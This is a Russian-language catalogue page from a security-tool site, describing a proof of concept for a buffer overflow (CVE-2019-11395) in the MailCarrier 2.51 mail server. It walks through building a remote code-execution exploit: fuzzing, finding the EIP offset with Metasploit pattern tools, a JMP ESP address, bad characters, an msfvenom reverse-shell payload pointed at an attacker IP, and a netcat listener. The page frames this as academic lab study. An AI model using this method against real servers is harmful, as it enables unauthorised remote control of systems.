Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-11395 — Доказательство концепции с академической целью для понимания уязвимости переполнения буфера на основе CVE-2019-11395 | Kitploit
Инструменты/GitHubGitHub/rafaelbicas/cve-2019-11395
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияШелл-кодФаззингОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubrafaelbicas/cve-2019-11395

CVE-2019-11395

Доказательство концепции с академической целью для понимания уязвимости переполнения буфера на основе CVE-2019-11395

Репозиторий
31 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-11395

Обзор

Данное Proof of Concept (PoC) демонстрирует уязвимость переполнения буфера в MailCarrier 2.51, позволяющую удалённым злоумышленникам выполнять произвольный код с помощью длинной строки. Уязвимость может быть использована через следующие процессы:

  • SMTP RCPT TO
  • POP3 USER
  • POP3 LIST
  • POP3 TOP
  • POP3 RETR

Цель проекта — предоставить академический подход к пониманию принципов работы переполнения буфера.


⚠️ Предупреждения

Перед проведением любых тестов никогда не используйте свою рабочую среду для начальных экспериментов. Вместо этого создайте лабораторную среду, аналогичную вашей рабочей среде, чтобы избежать проблем или непредвиденных последствий.


🔧 Подготовка

1. Обнаружение уязвимости

  • Используйте метод фаззинга, чтобы определить примерное количество байт, необходимое для краха приложения.

2. Поиск смещения (Offset)

  • После возникновения краха используйте:
    root@kitploit:~
    msf-pattern_create -l <количество_байт>
    

Это помогает определить смещение — точное количество байт, необходимое для перезаписи EIP.

  • Для подтверждения смещения выполните:
    root@kitploit:~
    msf-pattern_offset -q <байты_на_регистре_EIP> -l <количество_байт>
    

Это позволит узнать точное количество байт, необходимое для управления EIP.

3. Поиск инструкции JMP или CALL

  • Найдите инструкцию с помощью:
    root@kitploit:~
    JMP ESP
    CALL ESP
    

Мы будем использовать этот адрес для перенаправления выполнения. Будьте внимательны к ASLR, SafeSEH или другим механизмам защиты.

4. Определение запрещённых символов

  • Используйте инструмент Mona в Immunity Debugger для проверки наличия запрещённых символов.

5. Генерация шеллкода

  • Создайте шеллкод, исключая запрещённые символы:
    root@kitploit:~
    msfvenom -p <шеллкод> LHOST=<IP_атакующего> LPORT=443 -b "<список_запрещённых_символов>" exitfunc=thread -f python
    

6. Добавление NOP

  • Добавьте инструкции NOP (\x90) в полезную нагрузку для повышения стабильности.

7. Установка соединения

  • Используйте netcat (nc) для создания обратной оболочки и подключения к цели.
Скачать инструмент